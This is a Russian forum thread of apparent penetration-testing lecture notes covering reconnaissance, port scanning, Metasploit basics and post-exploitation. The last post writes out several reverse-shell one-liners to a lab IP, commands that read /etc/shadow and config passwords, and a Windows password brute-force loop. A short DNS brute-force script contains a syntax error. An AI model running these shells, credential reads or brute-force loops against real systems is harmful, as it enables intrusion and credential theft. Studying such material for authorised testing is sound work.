Компьютерная экспертиза

Независимая компьютерная экспертиза Чебоксары

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » Независимая компьютерная экспертиза Чебоксары » Обсуждения » Penetration test. PenTest. Тестирование на проникновение


Penetration test. PenTest. Тестирование на проникновение

Сообщений 1 страница 5 из 5

1

Хакинг и тестирование на проникновение

Разведка и сбор информации перед тестированием на проникновение (pentest).

Penetration test

Тестирование на проникновение - метод оценки безопасности компьютерных систем или сетей средствами моделирования атаки злоумышленника.

Способы проведения pentest:

Автоматизированное тестирование (сканеры)
Ручное тестирование
Комбинированный метод (Best practice!)

Подходы к проведению теста:

White box (исполнитель проникновения располагает полной информацией о цели)
Black box (известно только название фирмы)
Gray box

Примерный сценарий проведения теста на проникновение:

Планирование теста на проникновение.
Сбор информации о целевых системах.
Поиск уязвимостей. (сканерами или вручную)
Проникновение в системы.
Написание и предоставление отчетаю
Очистка систем от последствий теста.

Что искать?

ip address
domane
Имена сотрудников
телефоны
email
Резюме IT специалистов
"Забытые" системы (дефолтовые пароли, бинарные уязвимости)
Документы/метаданные
Средства удалённой работы (VPN, веб морда почты, CRM)

Методы сбора информации

Пассивные методы сбора информации:

Поисковые системы и интернет сервисы
Социальные сети
Неактивное исследование публичных Интернет-ресурсов
Службы Whois

Пассивные методы не влияют непосредственно на объект.

Активные методы сбора информации:

Сканирование сетевых систем
Брут, фаззинг веб-директорий на сайте.
т.д.

Fuzz testing (фаззинг). Фаззинг – методика тестирования, при которой на вход программы подаются невалидные, непредусмотренные или случайные данные.

DNS

DNS (англ. Domain Name System - система доменных имен) - компьютерная распределенная система для получения информации о доменах. Чаще всего используется для получения IP-адреса по имени хоста (компьютера или устройства), получения информации о маршрутизации почты, обслуживающих узлах для протоколов в домене (SRV-запись).

DNS создан для удобства людей. А всё, что создано для удобства людей в компьютерном мире, является уязвимым.

DNS обладает следующими характеристиками:

Распределенность администрирования.
Распределенность хранения информации.
Кеширование информации.
Иерархическая структура.
Резервирование.

DNS-записи:

Запись A (IPv4 address record)
Запись AAAA (IPv6 address record)
Запись CNAME (canonical name record)
Запись MX (mail exchange)
Запись NS (name server)
Запись PTR (pointer)
Запись SOA (Start of Authority)
SRV-запись (server selection)

Инструменты для работы с DNS:

nslookup
dig
host

Утилиты для легальной работы могут быть использованы и на Темной Стороне Силы.

nslookup

nslookup (англ. name server lookup - поиск на сервере имен) - утилита, предоставляющая пользователю интерфейс командной строки для обращения к DNS. Позволяет задавать различные типы запросов и запрашивать произвольно указываемые сервера. Разработана в составе пакета BIND (для UNIX-систем). Утилита портирована на Windows непосредственно фирмой Microsoft и поставляется вместе с операционной системой.

Примеры:

nslookup wikipedia.org ns1.wikimedia.org
nslookup домен днс-сервер
nslookup -type=mx example.com 192.168.56.100

nslookup без параметров начинает работу в режиме диалога

dig

dig (сокращение от "domain information groper") - утилита (DNS-клиент), предоставляющая пользователю интерфейс командной строки для обращения к системе DNS. Позволяет задать различные типы запросов и запрашивать произвольно указываемые сервера. Является аналогом утилиты nslookup.
Утилита nslookup входит в стандартный комплект DNS сервера BIND.

Примеры:

dig @ns.mail.ru mail.ru mx
dig @днс-сервер домен днс-запись

host

host - утилита в UNIX-системах, предназначенная для обращения и получения информации DNS-серверов.

Примеры:
host -t ns example.com 192.168.56.100
host -t днс-запись домен днс-сервер
host -t any example.com 192.168.56.100 (все днс-записи)

DNS-брут

Файл dns-name.txt
www
www1
mail
lab
test

Файл brut.sh
#!/bin/bash
for name is $(cat dns-name.txt):do
host $name.example.com 192.168.56.100
done

Программы для работы с DNS в Kali Linux

dmitry

Deep Magic Information Gathering Tool (dmitry) является многофункциональным (all-in-one, комбайн) инструментом сбора информации. Он может быть использован, чтобы собрать следующую информацию:
запись Whois по IP-адресу или доменному имени;
информацию о целевом хосте с сайта Netcraft.com;
имена субдоменов в целевом домене;
список открытых, отфильтрованных или закрытых портов на целевой машине.
И хотя эта информация может быть получена с помощью других команд Linux, очень удобно собирать её с помощью одного инструмента, с возможностью сохранения отчёта в одном файле.

Примеры:

dmitry -iwnse example.com

dnsenum

dnsenum обладает следующими возможностями:

Получение дополнительных имен и субдоменов, с использованием поисковой системы Google.
Поиск, имен субдоменов методом перебора значений из текстового файла (словаря). Dnsenum, включенный в пакет BackTrack поставляется с файлом (dns.txt), содержащим 95 имён субдоменов.
Выполнение Whois запросов на доменах C-класса и вычисление его диапазона сети.
Преобразование доменных IP-адресов в (reverse lookup).
Использовать отдельные потоки для разных запросов.

Примеры:

dnsenum.pl example.com

dnsrecon

dnsrecon (DNS Enumeration Script) имеет сходные черты со всеми предыдущими инструментами, предназначенными для сбора информации о DNS. Однако имеет больше возможностей и опций.

Примеры:

dnsrecon.py -d example.com -t std

fierce

fierce - представляет собой Perl-скрипт, который быстро сканирует домены, используя при этом несколько различных тактик.

Примеры:

fierce.pl -dns targetdomain -threads 3

Другие техники получения информации от DNS серверов

DNS cache Snooping - это техника, позволяющая выяснить какие запросы были сделаны кеширующему DNS-серверу с помощью Time To Live (TTL) значений в своих ответах.

Передача зоны DNS, AXFR - вид транзакции DNS. Является одним из механизмов репликации баз DNS межу серверами.

Примеры:

dig @днс-сервер домен axfr (получаем список поддоменов!!!)

0

2

Сбор и проверка информации о доменах и ip адресах

База whois
Различные онлайн сервисы

Автономная система (AS) - равноправная часть интернета и её основа, из совокупности автономных систем и состоит интернет в

целом. Полное определение автономной системы даёт RFC 1930. Номер автономной системы может быть 16-ти или 32-битным (был

введен в 2007 году в связи с исчерпанием номеров) и обычно записывается "AS12345" в случае 16-битного.

По сути, AS - idшник большой компании, закупившей диапазон адресов. Маленькие компании арендуют белые IP у провайдеров и не

имеют AS.

WHOIS

WHOIS (от англ. who is - кто такой) - сетевой протокол прикладного уровня, базирующийся на протоколе TCP (порт 43). Основное

применение - получение регистрационых данных о владельцах доменных имён, IP-адресов и автономных систем.

Примеры:

whois (ip_address|domain_name)
host pentestit.ru  (узнали IP)
whois 188.40.122.74 (получили кучу информации)

Интернет-сервис shadowserver.org

whois -h asn.shadowserver.org 'origin 213.180.204.3' (получаем данные об IPшнике с сервера shadowserver.org)
whois -h asn.shadowserver.org 'prefix 12345' (информация по AS-номеру)

В поисковике: whois сервис

Ещё некоторую информацию можно добыть у регистаторов. Например, есть такой ресурс statonline.ru

Парсить — автоматически обрабатывать (разбирать) с целью получения нужных данных.  Например, парсить контент с сайтов.

Dorks (дорки)

Почти у всех современных популярных интернет поисковиков есть специальные опереаторы, которые позволяют более точно

сформулировать запрос.
Dorks - это классспециальным способом сформированных запросов. Дорки (от англ. dork - болван) не считаются хакерством, это

скорее способы, позволяющие очень точно сформулировать запрос поисковику.

Дорки относятся к пассивным методам исследования.

Поисковики для пинтестера: обычные поисковики и специализированные

Обычные интернет поисковики

Статьи:
Операторы в поисковых запросах
Пунктуационные знаки и специальные символы в поисковых запросах
Расширенный поиск
Google Hacking Database
Ключевые слова для расширенного поиска

Примеры запросов Google:

site:pentestit.ru (поиск поддоменов)
site:pentestit.ru -inurl:www.pentestit.ru (исключаем поддомен www)

Такой способ более "тихий", нежели брут-днс. Пассивный и активный способы.

Ищем зарегестрированных пользователей

site:steamcommunity.com inurl:/id/ intext:"Russian Federation"

Для пентестеров: максим майоровский волгоград )))

Смотрим также google дорки, yandex дорки, bing дорки.

У bing есть параметр ip: для поиска по IP-адресу. Можно узнать, есть ли веб-морды на сервере.

Примеры "уязвимостей" найденных через поисковики. Статьи:

Индексирование файла robots.txt
Ищите ошибки с помощью Google или "взлом" аккаунтов на badoo.com
FAQ по утечке текстов SMS с сайта "Мегафона"
Находим SQL-инъекцию в *******.alfabank.ru с помощью Google
Бумажные специалисты. Часть 3. РЖД

Специализированные поисковики

Shodan

Сайт shodanhq.com
Поисковик для устройств подключенных к Интернет.
См. также расширенные фильтры.

DNSDigger

Сайт dnsdigger.com
Поиск сайтов на одном ip

TinEye

Сайт tineye.com
Поисковик по изображению

Программное обеспечение (ПО) для автоматизации использования поисковых систем

TheHarvester (есть в дистрибутивах BackTrack и Kali Linux)

Цель этой программы заключается в сборе ящиков электронной почты, поддоменов, имен сотрудников, открытых портов и баннеров с

разных открытых интернет источников, таких как поисковые системы и Shodan.

Goofile (есть в дистрибутивах BackTrack и Kali Linux)

Ищет файлы разных форматов размещенных на указанных доменах.

SearchDiggity (под Windows)

Комбайн для дорков.

Метаданные

Метаданные - это субканальная информация об используемых данных.
Структурированные данные, представляющие собой характеристики описываемых сущностей для целей их идентификации, поиска,

оценки, управления ими.
Набор допустимых структурированных описаний, которые доступны в явном виде и предназначение которых может помочь найти

объект. Термин используется в контексте поиска объектов, сущностей, ресурсов.
Данные из более общей формальной системы, описывающей заданную систему данных.
Информация о содержащейся на веб-странице информации (создателе и т.п.) Пример: Имя автора правки в тексте. Этот термин в

широком смысле слова используется для любой информации о данных: имена таблиц, колонок в таблице в реляционных базах данных,

номер версии в файле программы (т.е. как информативная часть в бинарном файле) и т.п.

По простому, метаданные - это информация об информации. Очень известны метаданные в файлах mp3 и jpg.

Программы для работы с метаданными

FOCA (под Windows)

Metagoofil (для Linux)

exiftools (для Linux)

Программа для извлечения, записи и правки метаданных.

Примеры:

python metagoofil.py -d microsoft.com -t doc -l 200 -n 10 -o /tmp/microsoft

Для поиска: чистка метаданных

Исследование web-ресурсов:
неактивное (через поисковики)
активное (сканирование)

Программы для активного исследования

whatweb - Next generation web scanner (какой движок)

WPScan - WordPress Security Scanner. Данная утилита собирает данные о всех известных уязвимостях WordPress (как в самом

движке, так и во всех его плагинах) и на базеэтого проверяет блог.

nikto - сканер уязвимостей web сервера. Nikto проверяет удалённый Web сервер на наличие известных уязвимостей и неправильной

конфигурации.

dirb - DIRB is a Web Content Scanner (брутер веб-директорий)

DirBuster - многопоточный URL-брутфорсер

Примеры:

dirb http://192.168.56.100
whatweb http://192.168.56.100/joomla

Автоматизация сбора информации (проведение разведки)

Maltego

recon-ng

0

3

Сканирование

Порты от 1 до 65535

Socket = IP-адрес + номер порта

Список известных портов

443: SSL/HTTPS
162: Simple Network Management Protocol (SNMP)
123: Network Time Protocol (NTP)
110: Post Office Protocol (POP3)
80: Hypertext Transfer Protocol (HTTP)
69: Trivial File Transfer Protocol (TFTP) использует UDP без аутентификации
53: Domain Name System (DNS) service
25: Simple Mail Transfer Protocol (SMTP)
22: Secure Shell (SSH)
23: Telnet
21: File Transfer Protocol (FTP) (control port) передача команд
20: FTP (data port) передача данных
143: Internet Message Access Protocol (IMAP)

Обычно сканируются 1000 самых используемых портов. Сканирование идёт не последовательно, а в порядке "интересности".

nmap

nmap различает шесть состояний портов:
открыт (open)
закрыт (closed)
фильтруется (filtered) (обычно файрвол)
не фильтруется (unfiltered)
открыт|фильтруется (open|filtered)
закрыт|фильтруется (closer|filtered)

Тайминги (скорость сканирования)
параметр -T команды nmap

paranoid (параноидальный) -T0
sneaky (тихий) -T1
polite (вежливый) -T2
normal (обычный) -T3
aggressive (агрессивный) -T4
insane (безумный) -T5

Типы сканирования

-sS (TCP SYN сканирование)
-sT (TCP сканирование с использованием системного вызова connect)
-sU (UDP сканирование)
-sN; -sF; -sX (TCP NULL, FIN и Xmas сканирования)
-sA (TCP ACK сканирование)
-sn (No port scan)

Примеры:
nmap -A -T4 scanme.nmap.org
nmap -sn 192.168.10.0/24 сканирование сети, обнаружение хостов без сканирования портов
nmap -sS 192.168.10.11 син-сканирование, скрытое сканирование, полуоткрытое сканирование, только root
nmap -sT 192.168.10.11 коннект сканирование, медленное сканирование
nmap -sU 192.168.10.11 UDP-сканирование, без использования TCP
nmap -n -T4 -sA 192.168.10.30 акт-сканирование, обнаружение фильтрации, файрволов
nmap -n -sV 192.168.10.25 версии, подробная информация о сервисах, демонах
nmap  -n -O 192.168.10.11 определение операционной системы и другой информации на основе анализа системы пакетов

Использование nmap со скриптами
(свои или стандартные скрипты)

nmap -sC   запустится стандартный набор скриптов
nmap --script=название_скрипта    по умолчанию хранятся в папке scpipts у нмапа
nmap -sV -p 443 --script=ssl-heartbleed 192.168.10.24 сканирование на уязвимости

Все описания скриптов нмапа можно найти на сайте nmap.org

unicornscan

Примеры
unicornscan -h
unicornscan -mU -r200 -I 192.168.10.1
unicornscan -mU -r600 -mT 192.168.10.0/24:80,443 Сканирование UTP+TCP
unicornscan -msf -I 192.168.10.1  без прав рута
unicornscan -mT 192.168.10.1 -w filename.pcap

-mU UDP-сканирование
-mT TCP-сканирование
-r пакет/сек

unicornscan -mT 192.168.10.25 -w somedump.pcap сохраняем дамп трафика

unicornscan можно использовать ещё и для отправки дофига пакетов из файла на какую-то цель сети

nmap работает медленнее, но точнее, чем unicornscan

Анонимизация сканирования.
Вариант спуфинга
nmap позволяет. Опция -D прописать через запятую ряд IP-адресов

См. также netcat или nc для ручного сканирования

0

4

Вебинар по поиску и эксплуатации уязвимостей получился какой-то отстойный, поэтому информацию придется искать самостоятельно в инете.

Обнаружение и эксплуатация уязвимостей

Graphical Network Simulator - GNS3

Для создания и тестирования виртуальных сетей используем GNS3.
Интегрируется с VirtualBox.
И инете можно дополнительно скачать образы маршрутизаторов.

metasploit

Для поиска уязвимостей хостов используем metasploit. Всё необходимое заранее установлено в Kali Linux.

Работа с metasploit. Вход в msfconsole.
#msfconsole
msf>

Искать в инете: работа metasploit команды msfconsole

help
exit
search
info название_модуля
use
set options
set targets
set payload
run
show options
show advanced
use название_сканера
set название_опции значение
search ssh    Здесь ssh кусок названия сканера
back

search msxml
use exploit/windows/browser...
set SRVHOST 192.168.10.10
set SRVPORT 80
....

Список наиболее употребимых команд:

i) search <keyword>: запустив команду search без указания ключевых слов, мы получим список всех доступных эксплоитов. Если значение <keyword> имеет имя определенного сплоита, то этой командой мы ищем такой в базе данных системы.

ii) show exploits: указав команду show exploits, мы получим список всех доступных на данный момент эксплоитов. Имеются версии последних под различные платформы и приложения, включая Windows, Linux, IIS, Apache и так далее. Это поможет вам понять работу фреймворка Metasploit и почувствовать его гибкость и эффективность.

iii) show payloads: аналогично предыдущим командам show, показывает доступные в системе payload'ы. Запускаем команду show payloads и изучаем получившийся список.

iv) show options: набрав в командной строке show options, вы увидите опции, которые вы можете использовать; и возможно, про некоторые из них вы уже успели забыть. Каждый эсплоит или payload имеет свой собственный набор опций, который вы можете использовать при работе с ними.

v) info <type> <name>: если вам нужна конкретная и полная информация о каком-либо эксплоите или payload'е, вы можете применить команду info. Скажем, вам нужно подробное описание payload'а winbind. Тогда мы набираем в командной строке info payload winbind и внимательно читаем справочную информацию по нему.

vi) use <exploit_name>: команда говорит фреймворку Metasploit запустить эсплоит с указанным конкретным именем.

vii) set RHOST <hostname_or_ip>: указываем этой командой Metasploit определенный хост в сети для его изучения. Хост можно задать как по его имени, так и по IP-адресу.

viii) set RPORT <host_port>: задаем для Metasploit порт удаленной машины, по которому фреймворк должен подключиться к указанному хосту.

ix) set payload <generic/shell_bind_tcp>: команда указывает имя payload'а, который будет использоваться.

x) set LPORT <local_port>: задаем номер порта для payload'а на сервере, на котором был выполнен эксплоит. Это важно, так как номер этого порта открыт именно на сервере (он не может быть использован никакими другими службами этого сервера и не резервируется для административных нужд). Советую назначать такой номер из набора четырех случайных цифр, порядок которых начинается с 1024. И тогда у вас все будет хорошо. Также стоит упомянуть, что вам необходимо менять номер порта каждый раз, когда вы успешно запустите эксплоит на удаленной машине.

xi) exploit: запущенный на данный момент эксплоит. Есть другая версия этой команды - rexploit, которая перезагружает код запущенного эксплоита и запускает его вновь. Эти две команды помогают вам работать с эксплоитами с минимальными усилиями, без перезапуска консоли.

xii) help: команда help выдаст полный перечень всех доступных команд системы. Я же привел здесь его краткую версию.

Теперь, когда вы знакомы со всеми основными командами, вы можете запустить эксплоит. Для иллюстрации, давайте выберем сценарий, на примере которого я покажу, как получить контроль над удаленной машиной.
.......

См. также сканер уязвимостей NESSUS с веб-мордой

0

5

Исследование системы после проникновения (постэксплуатация)

Разведка --> Сканирование --> Эксплуатация --> Постэксплуатация

Постэксплуатация на примере debian и centos

Команды для debian

cat /etc/issue какой дистрибутив используется
cat /etc/*release
lsb_release -A
cat /proc/version информация по ядру
uname -A выведет всё что может
dmesg|grep Linux  грепаем информацию из загрузки системы
ls /boot/ | grep vmlinuz-
env   посмотреть все переменные окружения для текущего пользователя
lpstat -a   принтеры подключенные
ps aux   выведет все запущенные процессы
ps -ef  аналогичный вывод с некоторыми отличиями
top   мониторинг процессов
htop   продвинутый вариант top
ps aux | grep root процессы запущенные от рута
dpkg -l   установленные пакеты
grep -i pass /var/www/joomla/configuration.php    Параметр -i поиск без учёта регистра
hostname  покажет домен
hostname -f   покажет поддомен
ip addr show
ip ro show  показать табл маршрутизации
ifconfig -a   показать ВСЕ сетевые интерфейсы, даже выключенные
route -n    показать табл маршрутизации
netstat -antup   
netstat -lntup    все процессы, слушающие сеть. лишние не выводит
chkconfig --list список всех служб
cat /etc/resolv.conf    список ДНС-серверов
hostname        первая часть доменного имени
dnsdomainname    вторая часть доменного имени
cat /etc/passwd
cat /etc/shadow    hex паролей
find / -perm -u=s -type f 2>/dev/null     ищем программы с суид-битом (s-бит)
find / -perm -o+w -type d 2>/dev/null     ищем каталоги расшаренные для записи

Команды для centos

cat /etc/redhat_release  версия ос
rpm -q kernel  информация о ядре
rpm -qa установленные пакеты

Прослушивание сетевого интерфейса (сниффинг)

См. информацию по использованию утилиты tcpdump

Бекдоры, реверс shell. Проброс терминалов

nc (netcat)

1 вариант
nc 192.168.242.137 8080 -e /bin/bash           проброс терминала
парамет -e выполнение команд есть не во всех версиях nc

nc -nvv -l 8080   прослушивание

2 вариант
mknod backpipe p
nc 192.168.242.137 8080 <backpipe
/bin/bash 1>backpipe

3 вариант
/bin/bash -i >/dev/tcp/192.168.242.137/8080 0<&1 2>&1
Здесь 0-stdin, 1-stdout

4 вариант
mknod backpipe p && telnet 192.168.242.137 8080 0<backpipe |/bin/bash

См. также wget, curl

Исследование Windows

whoami
ver
systeminfo
set
hastname
ipconfig
netstat -an
netstat -an|findstr 192
netstat -nabo
netstat -r
route print
net start
netsh    диалог для настройки сетевых параметров
wmic bios
wmic os
tasklist
taskkill

Пропинговка локальной сети
for /L %i in (1,1,254) do @ping -n1 192.168.242.%i | find "TTL"

Брутфорсник
for /P %i in (password.txt) do @echo %i & net use \\192.168.242.10 %i /u:USERNAME 2>null && pause

0


Вы здесь » Независимая компьютерная экспертиза Чебоксары » Обсуждения » Penetration test. PenTest. Тестирование на проникновение